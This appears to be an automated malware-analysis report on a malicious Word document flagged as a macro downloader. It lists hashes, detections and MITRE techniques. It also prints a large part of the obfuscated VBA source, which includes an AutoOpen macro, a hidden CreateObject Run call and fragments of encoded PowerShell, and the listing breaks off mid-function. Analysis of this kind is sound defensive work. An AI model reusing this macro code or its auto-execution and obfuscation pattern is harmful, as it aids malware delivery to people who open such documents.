Office (OLE) malware analysis — malicious · be9aa3cd8f58c08f

MALICIOUS

Office (OLE)

156.0 KB Created: 2018-03-27 14:38:00 Authoring application: Microsoft Office Word First seen: 2018-03-30

MD5: 38f2071a9595d988f9f8d94b309697ae SHA-1: ab1e60e6794f8b60008f731b5e97e444c302721e SHA-256: be9aa3cd8f58c08f55e04371856fc5044143790a7c1966a6644b04f9e1d458a6

192 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that utilizes CreateObject to execute code. The ClamAV detection and heuristic firings strongly indicate malicious intent. The VBA script, though obfuscated, appears to be designed to download and execute a second-stage payload, as suggested by the 'CreateObject' call and the presence of a macro file named 'macros.bas'. The embedded URL is benign, but the overall behavior points to a macro-based downloader.

Heuristics 8

ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

jHbrEQ = (jzJnpO - ChrB(22285))
CreateObject(uUDuJOzqEtwm).Run MIddflZZRjd + Chr(VBA.vbKeyC) + hnSUzjY + LvsffNvLmij + IqkaGEBwamMECF, vbHide
For Each CGhJKa In RlEdHc

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro

Matched line in script

Attribute VB_Name = "lGtSDTbsCkXJM"
Sub AutoOpen()
On Error Resume Next

Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	40080 bytes
SHA-256: `0ae07121f547a0a88a9be15318d62fe34cc6f3e5e2d3bba57854ca87f53c6bb8`
Detection ClamAV: No threats found Obfuscation or payload: likely 652 of 1067 identifiers look randomly generated (e.g. 'Fj2BLYAYgBiAGQAMQBlAGYAMAA2ADcAMwBjADYAM') — consistent with name-mangling obfuscation. Carved artifact contains 22 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "cDwSvjPFojf" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "HdGNzinpwNrs" Function uIouckJwaU() On Error Resume Next For Each wzziUC In nCRjk DbIbtA = 6979 - XMwTJB For Each aLVjc In Xhjzk YDkjWU = jXMno Next Next sXhWdzXz = KjQBK("XApUzMj", 2, 1) For Each iAblzK In BwMrv IRftbi = 17303 - iqmjc For Each BSpOXj In tRwwhn Zcqtk = MrDdk Next Next For Each PSIfIS In onSvf uDzozL = 64950 - BQXbXU For Each ZbwrZ In DdMVA jimhYP = LKtjvR Next Next EbanbVDd = KjQBK("67m0ZOA3ADIAZgAwADgAOABmAGEAMABjAGEAYQAyAGUAMQBhADQAZgA5ADYAYgA2ADIAZQA2ADcANgAzADgAYQBlAGEAYwA0AFcz", 7, 91) For Each pNBlE In wSOLTD hqalS = 93870 - zOPjwL For Each IwjrDa In QqbaR iRPaN = JzUkH Next Next For Each WcNOkR In ZmwIUZ MoKjMj = 26202 - iQomWO For Each EcIMzb In DSJLbW tvjjj = WczNYa Next Next pKBDX = KjQBK("uoYAZABmADgAMQBkADkANAA5ADUAMABkADQAMwAxADAAYwAxADYANAA3ADEAYQBiADMAYQA1ADEAYgA5ADMANgA1ADQAMwA0AGIANwA3AGIAMAA1AGIAOAA2ADYAOQA4ADYAMgA0ADcAYgBjAGMAZAAxAGIANgBkAAzzHjG", 4, 158) For Each uwZwuT In hUAHcw lsWBHq = 16194 - VHCniQ For Each iunWkr In sLQHk ZvYHlE = kbMRki Next Next For Each lildsi In aGmHF ntcpO = 5880 - WSzRG For Each MVDKVw In kdMQGI zPJzQs = XFYlj Next Next dpcKAiA = KjQBK("8biP,36,7,145,42,32,61,4,183,133,46)) ) ) \|. ( $shELLiD[1]+$sHELLiD[13]+'x')ULnc", 5, 72) For Each PWShU In JSoXv ISYKj = 24442 - GbQHJz For Each NZoPf In oZXOL wjwJJs = iIakN Next Next For Each LzFoZ In lVNDJS ONTZU = 93482 - fznbAE For Each iEiss In JPQRG ZtXnLL = OjoNz Next Next MWoUwf = KjQBK("9.9MAAzADcAMABmADUAOABjAGEAOQA1ADkAMwBiADQAYgAxAGYANwBiAGUANgBjADMAZgAzADEAOAA4ADAAYQA5AGYANgAxAGUAMABjAGYAYwBmAGQAOQA4ADEAZgBkADcAYgBkADQAMQA1ADYANAA2ADIANAA0ADAANwAwADYANQA5ADMANgAxADUK902m", 4, 183) For Each QMqMKi In VYHRiK BwzzC = 36438 - XCILcP For Each poqqjN In FSDGnS BmGEA = IPjqLi Next Next For Each tWFXN In qWziY KADKR = 59937 - VoFkC For Each BLmrhG In wSAJnj uPFRMa = vztiB Next Next LwYusawYbr = KjQBK("O3HkpAGEAOAA0ADEAZAAxAGEAMQAzAGIAYwA5ADAAYwAwADIAYQA0AGIANgAwAGYAYQAyADgAYgBhADEANAA5ADMAYgBjADY@r", 6, 91) For Each ckQom In qMKDf cbUrA = 88080 - hzKGi For Each XbcGLt In jvVNB WltTj = azkzi Next Next For Each RbYzCX In dPZJT sFbjiR = 79748 - QUjEM For Each twfNLJ In kbpFrE jNBUMB = UksPBO Next Next zdHpiitSA = KjQBK("2z@vtPAZgA5ADMANABjAGEAZQA2AGIAYgAyAGEANgAwADYAYgBjADMAZgAzADMAMgBhADc2Mp", 7, 64) For Each AGptqY In fkMzKt dliqN = 97353 - DTOrK For Each YNnzK In KjVALB NBdpXC = irzNZ Next Next For Each uEGDcP In BinOAt YpztY = 70313 - IjSDkX For Each BlRpB In cEdIA ZAsDDi = XCXKZt Next Next iwDvduFF = KjQBK("tp1AGUAMQBiAGMAYQBjAGYAZgA3ADAANQBiADkANwBkADgAMgBkAGYAYwAyAGEANABjAGIAMwBkADEAYQBjAGUAYgA1AGUAMAA4ADUANwAzAGQAOAA2AGMAMAA3AGQAZAAxADIAMAA5AGYANgBjADUANQBjADUAMQBkADcANAA1AGQANAAzAGYANwBmAGIAYwA2ADUANcmJAnM", 3, 198) For Each AlUoAs In qAsVZw mTLptz = 21439 - PfPUoA For Each ibswK In qkpIH iAAidj = kiLVj Next Next For Each jrlpR In YcPRSZ MCchX = 25614 - bWpXjq For Each JkmMJ In kbBCG Bpbzw = mDOmd Next Next wIAzzDvuZ = KjQBK("CMAMgBjADAAMQAxAGMANQA5AGQAMgAyAGQAOAA2AGMAYwBmAGEAYQBjADYAYgA3ADMANQA5ADAAMgBmADQAZgAzADEAYgA3ADIAMwBmADEAYgA4ADAAMAtA%N@O", 2, 115) For Each KKwaK In OGaOP cEIAbl = 2414 - bHLtA For Each rMwmz In GRCwb Qzozp = ZiUtBl Next Next For Each RElUuG In zzMDj Napbz = 56978 - qVYdNX For Each jMiTYU In TUznmF BhjBz = pkKEph Next Next wiOClcOzQm = KjQBK("HmXiIAMgAnU", 5, 5) For Each uwfHG In TmlSt PatFro = 26121 - Vpooc For Each rwwBa In qQlXoq PlmQOq = jGviS Next Next For Each GSpSP In msEWZ TdCRAZ = 19227 - zhEnbo For Each YjmPZU In SvbpO ModWw = bpVii Next Next hAOMAz = KjQBK("PBa@6MRIngaNSI( [RUnTimE.intEROpsERviCES.marshaL]::LA", 7, 45) For Each zjIYOC In aXNLSH aJKHqL = 21824 - WLDho For Each MICzD In bnAthZ ndzcLP = sSiOsX Next Next For Each rYFvw In jTujP lQzdV = 94355 - rowmmz For Each iRGPH In zCWQWP sCvhh = GiTXf Next Next uIHAcU = KjQBK("SuVsAZgA0AGEANgBiADYAZQBlADMAZAA3ADUANQAwADUAZgAyAGEAOAA2AGIANwAyADUAMgBkAGYAOQBhADEAZAA5ADYANQBkAGUAYgAwAGQAMgAwAt3", 5, 110) For Each jJQRv In SvsmSM ZaNiui = 12841 - rkptO For Each dtXKu In Daijla DUMFki = IitAZ Next Next For Each ZFoTmB In NlnHmT UjbaMi = 99513 - PTPtl For Each OwwwmU In fjCXri jvmPi = zCDmd Next Next KiiaAjhIYk = KjQBK("9Fj2BLYAYgBiAGQAMQBlAGYAMAA2ADcAMwBjADYAMwAxAGIAOABhAGEAYgBhADcAYgA5ADcAZQBmADcAYwA2ADgANwBkADcAYwBmADkAMAA1AGYAk", 7, 105) For Each jBpVDt In wzprL zzpzZ = 6409 - EzpTj For Each OZwLsJ In ukipL dbjBuE = PiMIDd Next Next For Each tkvrV In UUitNR rOANnc = 7885 - RiSRB For Each ApiwW In HWBVPN aKjmTo = HABRdD Next Next wzNfVT = KjQBK("DAOQAyADAAYgAzAGYAYQA5AGIAMgAzADEAYwBkADcANwAyAGYAYQA3ADIAOAA3ADkAOQBjADcAMABhADYANQBiAGYAOQA5ADMAMgAzADgANAA5ADkAZQA5ADgANQA3ADIANwA5ADIAYgA5AGMANgA1ADAAYgApMmj0%2", 2, 156) For Each DcCda In PTfAu ikUMiz = 50220 - dvhvwc For Each DznMV In NEuws tcHijr = GEmoWU Next Next For Each AlaWZ In wridD QjiElh = 63729 - lwDEpE For Each hTfMz In flmlE tZVpO = PssUsX Next Next zMWAwVvttJW = KjQBK("fnwADEAOQA2AGEAZgA0ADgAOAAzAGQAZQBkADgAOQA5ADkAZABlADMAYwAxAGIAZAA4AGEAZQBiADYO2XW", 3, 76) For Each OLnDiW In VCPXCR dlwvS = 63347 - nWPHo For Each ZLXNb In Tkwsh PXoqJ = mznmHt Next Next For Each zJVYjf In tClFQc EjqCHj = 72491 - jiOKI For Each zbJvH In ALlpv ZnksW = wLfmOz Next Next ohQbwBiSFvU = KjQBK("TLO2ADYAYwBjAGMANgBmAGYAZQA2ADAAZABiAGMAMQA0ADgAMwAzADcAMQAyADcAMwA0ADAAMQA1AGEANABjAGEANgBmADAANgAzADIAYwBmADIAYgA2AGwmH7", 4, 115) For Each Oqocn In VWavb JJLptu = 1753 - FGwao For Each YLzqK In KpsaM wiZfwr = QMjnV Next Next For Each dRTtAX In HcWii IHOlw = 4517 - uzfIkn For Each ANkBOL In NtHFk qUSOP = uGqQt Next Next INozh = KjQBK("26hjkQANwBmADEAMgAwADMAOQAxADcAMAA2AGIAMQAwADgAYwA5ADIANgA2ADkANgA3ADcAYgA4ADQAYwAzAGQAZQAwADAAOABjADEAZAAwAGUANgA2ADcANwA1ADcAOQAzADkAMwA1AGEAOAA5AGEANAA0ADcAYgBiADYANgA3ADQp5z", 6, 169) For Each bkffl In JMsZt UUTDuO = 13597 - NdoZfQ For Each jtYJzq In maphHw XjQaau = hrLcIN Next Next For Each jXUfwl In XNKqz kGcmm = 19946 - kFSWBK For Each ZzTBS In MTAmP iLvtX = XDJIB Next Next QZzoIjZGN = KjQBK("Oc ( [rUNTiME.inTeRoPSErViCes.maRsHaL]::PTrtOst4Nsp", 3, 45) For Each hVPBdE In inSnXu XkzRF = 81532 - lbnpL For Each EdGJQw In UwAKpw kNQXXz = tnGrD Next Next For Each FWGCsF In UjFsl BRiWCT = 21198 - RHNYw For Each qMRLt In fKYDfd wYZYpZ = qrHrM Next Next XYMpZ = KjQBK(".2wDmzGUANgA2ADIAMwBiADkAYQA4ADIANABiADAAYQA2ADcAZgA5AGYAYQBlADUAMgBkAGYANABiADgAMgA5ADEANQBmADcANwBmADQANQA0ADUAZAA5ADMAYgA4AGIAYQA4AGUAMgBkAGQAYQBlAD84j", 7, 145) For Each AinOs In trXIOu tArtbq = 47852 - MjriYz For Each XzEZwo In wWJKBj aQLiqf = zwjAn Next Next For Each HZTAjk In JVBrz nJOMMB = 13300 - BFKpX For Each iHwucn In FqrzcR HGjUzB = VBYZwC Next Next BZkBhLGWkzk = KjQBK("DkXN98BiADMAOQA1ADYANABiADkAZAAwADAAYgA1ADcAYwBhADYAMgBlADkANgBlADUANQA1ADcAZgBmAGYAYwAzADQANgA4ADkAOQA4ADYAMABmADYAZQA3ADIAZgAyADUANAAzADEAOAA2ADAAMwBkAGYAMQBkADYAOAAyADcAMQBmADAAOQBhADUAMgAwAGUAYwA2ADgAPP", 7, 198) For Each GTJLMG In BWGOL hSWOj = 68433 - AuWpp For Each uNFaV In lwzXhl LRGjc = nrCCi Next Next For Each VDtUb In sYrkY OqCXE = 73739 - IYcToX For Each wPiSpH In AqZamN iSkGa = VcJzo Next Next EvwBzbbh = KjQBK("Z9M8LOA0AGEAYQA3ADgAMAA1ADgAMABiAGEAYgA5ADAAMwBjADMAYwA3ADYAMQBhAGEAMwAwADcAMgBmAGQAYgAyADUAYgBkAG3j", 7, 92) For Each uwztkF In wQdtYv QOzcw = 35930 - RdFrM For Each WITFh In GMpCzo oOCBY = LJlHd Next Next For Each XwQlK In VNdwaE jIPwW = 61793 - YtpXj For Each fhfhkG In TVabND oIupPl = RVWrwY Next Next qjZwRFwO = KjQBK("HZNANABiADAAOAA0ADEAMwBhADMAYQBmADMAMQBmAGEAYgBiADEANQA4ADcAMQA4ADIAYwAzADcANAA5ADUAOAA5ADIAYQA0AGQAZQBlAGQAZABjADEAOAA3ADYAYgAzADQAZQA2ADUAMwA4ADMANgBkADMAZQBmADcAMwA2ADw3vw", 4, 167) For Each idJtBL In niwOU zLinl = 37403 - MQzAHw For Each OLIpm In wkrQiL YAZwav = sGniFi Next Next For Each JHSlw In qJaDAj DvEEi = 77736 - jYXZDX For Each wViUY In fLWMRX lUIWhC = AESPKH Next Next BBGhXLTJB = KjQBK("3cAZgA0AGIAYQAwADUANgA2ADMAYQA4ADcAYgBlAGQANQA2ADcAYgA0ADgAMwA3ADkANwBkAGYAMwA5AGYANgBhADIAOABjADIANwBlAGIANABlAGEAYwA0ADAAYQA0ADQANgBlAGIAYQBhAGYAMwBlAGYAYgBlADEAZQBhAGIAMrUaa,", 3, 170) For Each Xkkti In Ssnwj wqrZrn = 13112 - EOQAr For Each wUtDP In RjHam iwTtj = nFDkJ Next Next For Each znjJk In EmNQm zqMKS = 44346 - QKrqY For Each hAQFjK In mvwzSi wSIHY = rWaXFT Next Next pGuKDVZanw = KjQBK("PPdBNAAzADcAMQBlADAAZQA1ADcANQA1ADQAMAA5AGYAYQAxADAAMgA2ADA0h7%", 5, 55) For Each jcIGz In TDFnj FzmEtP = 85047 - QcwCkR For Each wKatAP In EJmqAG Dqicc = pFSjH Next Next For Each huGbCa In itnzQq tKTSd = 43772 - HnzRJa For Each BjFzfQ In wWljuY TuiMK = OjOnU Next Next antXYA = KjQBK("caw8oQANAAyADgAOAA1ADEAZgBjAGIAYwAxADcAZgA5ADUAMQAwADIANwAxADMAOAAwAGMAMAAzADYAYgA5AGIAYQA5ADUAZABlAGMAMgA0ADUANwAwADQAYQA0ADYAZgBlADgAYwBkAGYAMwBmADQANwBmADUAYwA1AGEAMwA2ADgAMgBkADAAMgBmAGMAYwW4w", 6, 188) For Each lZHIKt In HcNhCk Uvohli = 96005 - ntPEwG For Each RSRcF In WrNanv ZGMfb = ATvjCl Next Next For Each jdiZC In BNLtha vKsLOX = 51558 - zYskp For Each OlzMlH In wjtGlU vooWdi = vuuXmh Next Next QFYmSJD = KjQBK("saYzAGYAMQAyADgANgAyADMAYQBhAGIAOABiADQAYwBhADEAZgA5AGMAMAAwAGMAMQBhADgANgm1Tm3", 5, 70) For Each lEqpN In nbNjvS wdwFcC = 76992 - JjVGG For Each SrDpw In OMcDRY zTaIaK = iSwpuk Next Next For Each SJSdS In jtNDEb pMKuhk = 21635 - UUuGWw For Each puFfw In ckGJT kuitik = LiBLE Next Next BhSdVZTIhiS = KjQBK("ARXAMwAzAGQANgBkAGYAMwA5ADQAYgA2ADUAMQBkAGEAMwA4AGUAMABmADcANABhADUAMAAxAGMAZQA3ADQANwAzAGUAMQBjAGMAYQA0ADgAMQBiAGUAOAA4AGEAOQBhADkAYQA0ADMAOQA5AGUAYQAxADAAMwBiAGYANABhAGEAZAHDsLO", 4, 171) For Each zKzpXW In cNESwY INbElO = 2108 - zmbQVT For Each nojAkw In ivjmX XqPuF = uwGzZ Next Next For Each dFhqku In cZHPiJ HzfzjB = 88547 - GDHHS For Each zzajP In WOVzz uZbjH = fHwBkz Next Next jwiasEPqVRu = KjQBK("rWDQAOAA5ADkAZAA4ADgAMwAxADQANwAw78G%9kA", 3, 31) For Each LzNwd In ccViZh TCUtch = 4793 - GUoWvR For Each KYwPbW In GJPrO ZZuCC = WcnDZC Next Next For Each MzFNt In CnSwv iOObVw = 59379 - ZUOBzu For Each zpNAj In LDdRs kLjhzf = TNGpwf Next Next GUPQcvqKA = KjQBK("hLYSqAZgAwAGMAOABjAGMAOAA4AGYAYgAzADkAZgBkADUAOAA3ADUAN6Q", 6, 50) For Each izrjE In wDEwF LTSLkK = 56085 - tlqmR For Each VbGrA In VYkOL NivhGk = BUKABV Next Next For Each PRLjbm In YoTid slVWC = 58192 - LYzGb For Each CJnsCl In IPRLm bhWNOw = pwrcL Next Next Sorjs = KjQBK(",nv%uAGIAYwBjADQAOAA3AGYAZgA1ADIANwA0AGQAZQBiAGMAMQA3ADkAMwBiAGIAOQAyAGQANwAyADQAMAA2AGIASTo", 6, 84) For Each MphqUF In jjKlw zcudU = 19040 - ZCZpKj For Each HDDRL In ZYLaYz itrWk = wAquV Next Next For Each VlLLt In SzYtqh riQudi = 2744 - ivGNU For Each qMjisl In EpGoW DzotvR = roiDD Next Next tPhXaEVBDhC = KjQBK("h%2bDMAMwAzAGQAMgBkADYANABiAGYAMgBhADAAMwA3AGUAMAAyADEAZAAwADcAOQA4ADcAYwA4AGYAMwAzADAAOQAwADUAZgA1AGUANQA2ADcAMAAyAGIAMAAwAGUAMAAzADciB", 5, 130) For Each SvmpEz In ibnsP vPmsKF = 14464 - zQuCKv For Each EBidb In SVSAB zScMwd = VuEwXz Next Next For Each aaaTA In iwjQP rzuBz = 32332 - AbLmRh For Each whIOz In ZOHKzf iikwj = SJmNG Next Next kmtmCtrjzC = KjQBK("7LAA4AGUAMABkAGQANgBlAGUAYQA3ADUAOQA0ADgANwAwADUANgBlAGUAYgAwADIAOAAzADUAZQBhADMAYgBjAGYAZQA0AGMAZAAxAGQAMwAyADgAOAAyAGYAZgAxADcAZAA5AGIANAA5AGYAOQA5ADgAZgA2ADYAMABhAGMAMABlAGYAYwA2ADEAZAA2AGYGvka", 3, 190) For Each lPiYPo In lwSAn Sacdp = 68413 - TrBVr For Each GGPsM In CjLZv sWoubM = wiNkqj Next Next For Each iAtiv In ollOUR OimkV = 39783 - zDadPF For Each kRtOL In sHnlqV ZDwjX = SXcDF Next Next tuoJzDGkpTz = KjQBK("ZjCbt2gA3AGQAOAAyAGQANwBjAGUANwBiADkAYgA4AGYAMABjAGIAZAA5ADIAZAAyAGMAYgBlADEAZAA4AGMANABlADQAYgAzADYAZABjADIAMQAyADAANAA3AGUAOQAyAGYAOABlADkAZQBhADUAMgA0AGMAMgA1AGIAPW", 7, 159) For Each LaZaZ In TpLEU zIXfGv = 1679 - zRDvHq For Each rmBHN In pASTjN XjrVj = jOAnQ Next Next For Each WNCUa In rKkDhk XvYomK = 73683 - XzDrJ For Each KzfWj In mEcwC PddhL = jrjdzI Next Next hjbzkHWbR = KjQBK("5.w2tAEcAMgAzAFEASgBxAGoASgBLADIASgA2AEEAPQA9AHwH8w2", 6, 43) For Each jPBzQz In RRjLEj jHTTa = 72921 - uJipl For Each HRthz In jwolF wYwww = cisDk Next Next For Each kwJITa In LiWQG bdsSi = 38971 - sZRoDw For Each jldiT In PtrCF cfzLUc = fzwYA Next Next JmEXzY = KjQBK("XXIAYwBhADIAYwA0ADIAMgA5ADcAMQBhADMAOQBiAGUAYQBkADYAMQAzAGQAZgA3ADgANAA5AGYAMABhADMANABlAGUAZQAyAGUAZgBhAGEANgBlADUAYwBkADkAZABhADcANwA3ADUAOAAxAGUAZQBk9vz0", 3, 150) For Each IInLi In FUSiZ ozkBh = 71997 - NCrwuN For Each MwSKnM In YKMbhM AKJwXJ = iTdPKi Next Next For Each hTkhwM In zpjli DOEMpM = 81030 - ASunh For Each CTzYMA In tHdBMJ Rjrcjd = TsjhiZ Next Next djKvC = KjQBK("V5wgAyADQAZAAyAGMANQAzADQAOQA3ADEANQAzAGUAOQA0AGMAZQA5ADUAMQBhADUAYwAyADAAMwBjADgAYQA5AGMAMwAyADgAOAAwADkAZQA3ADcANQA3ADAANgBl20T1UL", 4, 123) For Each jAqtRl In fqLZd JHbLcD = 28504 - RaRDEu For Each bTrhbN In GmHvX ltjDG = XMQVEb Next Next For Each lwzXdA In CubwLj OJJFHB = 4317 - tLVozi For Each Rrdrz In Ywjvqw zNXwJ = ScczqS Next Next BPJUEEifVzQ = KjQBK("wL0twAlZQAyAGYAZQA0AGMAYgA5ADIANQBmADgAMQA2ADQAZgA3AGIAOAA0ADkATJ", 8, 56) For Each LFnCo In EccjS kAqMZ = 20845 - Etdfo For Each fILwp In mZZVTJ GorjUi = fYqcP Next Next For Each iRscu In HjOMaP GsHcU = 51497 - OJZMW For Each PuTnBj In GCwRiR cRnGz = GjJTj Next Next jHwzS = KjQBK("JRaC4NAzAGEAZAA5ADUAMQBkAGYANQBiAGIAMQA3ADIAZgA3AGEAMwA5AGEAMABmAGUAOAAVp", 7, 65) For Each aUDYrj In BZNMb tQDDv = 81682 - DErzWT For Each Omjkz In WGdCi lYQwP = MvGrD Next Next For Each sBmFw In nqkBo VPlTh = 5920 - zGGXzj For Each jFPXXh In kOTSw PlVEM = OVkbz Next Next TMfhwjuSj = KjQBK("27MFAQBmAGEAMABlADUAZAAyADkAMAA5AGEANwA5ADQAMAAxADEAMwA1ADgAYQBlADYAYQBiADEAZgAyAGIANABiAGQANwBiAGQAOQAwAGYAYwA0AGIm1iN", 6, 110) For Each jGtzld In YKbhbM HAlBSB = 70685 - jMlBLm For Each QvdQa In aGmcpi wnDts = FNjjIw Next Next For Each dTZjEs In wnKJBh kzBpp = 28778 - bDFRj For Each QooQp In QvBKib FloMLY = LRQSt Next Next FhdUXh = KjQBK("MdH,XcAOAAyADIAMwBiADEAYwBiAGYANAAxAGYAMwBmADgAZAA3AGUAZABjADEAMQAzADYAMAA4ADUAOQBiAGEAZQA1ADUAYwAArf", 7, 92) For Each HICQT In VhdKz URQNjm = 42841 - FJlmq For Each sbzzYV In ldItk QGBbbp = rHqzi Next Next For Each mfKukl In lfuRC hOiSt = 29639 - LLuLE For Each jzHMNK In nwAjd isjVc = FJfcV Next Next apQKXskU = KjQBK("jHmZgBmADUAZAAyADUAYwAyADgAYwBkAGEAYwAyADEAZQA3ADMANwA1AGYAOABkADcAMQBjAGIANgBlADAAZAA2ADkAOQAyADkAMAA5ADYANAAxAGUAMABiADIANQBiADEAMgBkADgAZQA5ADUANgA1ADNR2", 4, 150) For Each Btwib In zqwBWd jGqkk = 26006 - pkkff For Each RswcEV In wMRMIV jmKcV = CvMOY Next Next For Each jDwHk In pODvJz doWDD = 16073 - klzwoY For Each YqpAqA In zNAPHX JuBRI = KHzpW Next Next jnqtOjpjEiD = KjQBK("KrADYANAA5ADkAYwAxAGIAZABhADQAYwBlADYAOQAzADQAMQA3ADYAOAA2ADcAMQBlAGMAZABlAGUAYwA5ADIAZQA3ADUANAAzADkAOQBjAGUAOQA0ADkAZABiADQAZAA0ADUAZAAyADMAMwA5ADAANABkADYAMgAwADkANABlAGAjczAO", 3, 170) For Each zjvFz In LlRYN TwjiaW = 78263 - kQbqvh For Each QjQqzi In AsEID vlBkhG = JbjjdB Next Next For Each bUfiB In Ooqwn BuWCp = 63929 - wUDcHt For Each ajjDfZ In kitiaW FcFXs = FLuSZ Next Next mlqQvwM = KjQBK("l%RL@AYQA2ADIAZAA4ADIAMwA1ADAAMgBmADUAOABlADIAYwAyADcAYgA0ADAAYwBhAGQANQA4ADAAZgBhADUAMgBhADjam", 6, 87) For Each hhiYrY In IsiImS dQPcY = 29573 - TsrzF For Each onOoN In BszBGC lNiaU = Edcov Next Next For Each dIUsE In hzSOdM jcqnM = 11665 - qihbwW For Each RwWEQh In IkHoR oWdVsc = iqkBVl Next Next kzWPr = KjQBK("mj2AMwBkADcAMwBjADYAZAA2ADAAYwA0ADIANABhADcAOABkADkAZgBhADMAMgBlAGIAMgBjADUAOQAwAGYAZQAzADMAZAA2ADgAOQA5ADkAMwA2AGMAYwBkAGUANABiAGYAZABmADIAMwA3AGbwn%cJ", 4, 143) For Each Puatvi In PwvKNi Xsiwv = 42246 - TFMiT For Each LaOVif In EOKOs lZYhLf = qHwBCa Next Next For Each kmPpkk In FPRFuv LjXul = 60548 - FizJD For Each WSBQj In vNdRGd HvDvCM = aBpiZj Next Next wDPdsH = KjQBK("0,.EAMwAzADYAOQA2AGUAMwBkADQAMAA5AGIAOAA1ADUAMQBlADEAZQBmAGUANQAzADMAMgA3AGIAYwBiAGYANwBiAGUAMQA2ADMAMAA5ADIAMwBiADgAZQA3ADMAMwBlADEAMQAyADMAOQBlADYAYwBjAGYAZQBkAGUAYQSOUi", 4, 164) For Each liESj In RVmOAY AthOR = 32338 - XLCmuz For Each sUdSrA In JiZza dlJpvi = bhUbRI Next Next For Each HDznw In HCCUFK OonqZv = 60850 - KsiVI For Each riszLs In dSNYcI BWtTw = rYOQWi Next Next zvzuIsuwB = KjQBK("8MABmADMAMgA1ADcAOABhAGUA' \|cOnverTTo-SeCurEstRInG -K 151,49,144,144,244,42vuzv.", 2, 76) For Each rzLQSq In QTKXuS lWZSw = 74400 - YowPZ For Each tSUba In KtfHzG OGhLWZ = dGCowZ Next Next For Each JsIzDi In fmbUp UMzoJk = 30707 - AaOWcm For Each WQTioT In fVihh zbGzQ = EKsvL Next Next sOhPPFlNw = KjQBK("8TwQANgBhAGUAZQBkADIAMwBiADYAYwBhAGMANwAyAGEAMQBkADMANQAxADgAOQA5AGUAZgAwAGMAOQBkADUAOQAzAGkUB", 4, 88) For Each iIJStc In raIWIp SKhcF = 54096 - spZTO For Each SiodV In iGLAM GGpwpE = KQrtdQ Next Next For Each PuGFQW In lpQWAT FBzpLK = 39955 - zjTCR For Each itiXl In UpCKZq KizIbN = NaUfPG Next Next jBIXGM = KjQBK("mYAMwA4ADkAYgA0ADcAZABmADAANgAzADcAMAA2AGYAZAA5ADUAYQA2ADgAOABkADQANwA2AGEAOQAxAGYAMwA5ADUAOAAzAGIAMgBhAGIAMwBiAGYAMAA5AGYANgBiADUAOAAzADIAOABhADMANQA4AGEAMAAxADI6@jHZi", 2, 161) For Each quWmO In SCvhw cXQzn = 31349 - MKuzb For Each obAHYC In ihduj LkfHi = JMkSw Next Next For Each NVhlS In UrAuzC jdXZc = 10725 - mvnIO For Each jwzfv In ddLFbj isDkSf = HnlqF Next Next rrbovFOmYu = KjQBK("zQ0.JLd", 3, 1) For Each VcZSh In XCvWu zEYjY = 45072 - tlafjK For Each dAJwN In ajYBE YBIpjV = QTaoX Next Next For Each TRtno In zHwFXB wuwlM = 75403 - aQzXB For Each bqREs In jswaqa biwrL = IlOMVX Next Next ViYIAfvAz = KjQBK("mcF0ASEcureStringTOglObAlaLLOCaNsI($('76492d1116743f0423413b16050a5345MgB8AFYAegBTAHEAMQBHAEoAYQBIjt0u", 6, 93) For Each svbCT In lbXIp MjSPzT = 12867 - CLmiZ For Each jtbMiw In cwoRtH oiDZG = wKqVPs Next Next sFODoZC = MNjJwdjps + """" + LisKkhd uIouckJwaU = XvztzClrHIXiBC + FLmVTHMXZnWCGz + JNVFWZBNoAUMs + sFODoZC + hTORiVQaiwis + QZzoIjZGN + hAOMAz + ViYIAfvAz + hjbzkHWbR + qjZwRFwO + wDPdsH + EvwBzbbh + jBIXGM + GUPQcvqKA + djKvC + QFYmSJD + jHwzS + rrbovFOmYu + LwYusawYbr + BBGhXLTJB + TMfhwjuSj + BhSdVZTIhiS + EbanbVDd + tPhXaEVBDhC + mlqQvwM + wIAzzDvuZ + kmtmCtrjzC + FhdUXh + iwDvduFF + tuoJzDGkpTz + pGuKDVZanw + pKBDX + XYMpZ + wiOClcOzQm + zMWAwVvttJW + kzWPr + JmEXzY + Sorjs + BPJUEEifVzQ + apQKXskU + INozh + sXhWdzXz + MWoUwf + zdHpiitSA + uIHAcU + jwiasEPqVRu + jnqtOjpjEiD + sOhPPFlNw + KiiaAjhIYk + wzNfVT + ohQbwBiSFvU + antXYA + BZkBhLGWkzk + zvzuIsuwB + dpcKAiA For Each OoNdMX In jcruZ Set YDtTpt = tKrWP dplHZk = 28656 - Jlatq For Each oEFcTs In wMhLGo BDzqNN = TvUSKK Next Next OSSZzL = (oEODX - ChrB(32308)) End Function Attribute VB_Name = "zObPJijuWW" Function JNVFWZBNoAUMs() On Error Resume Next For Each vhPDQ In nLCIO doDFJw = 22542 - 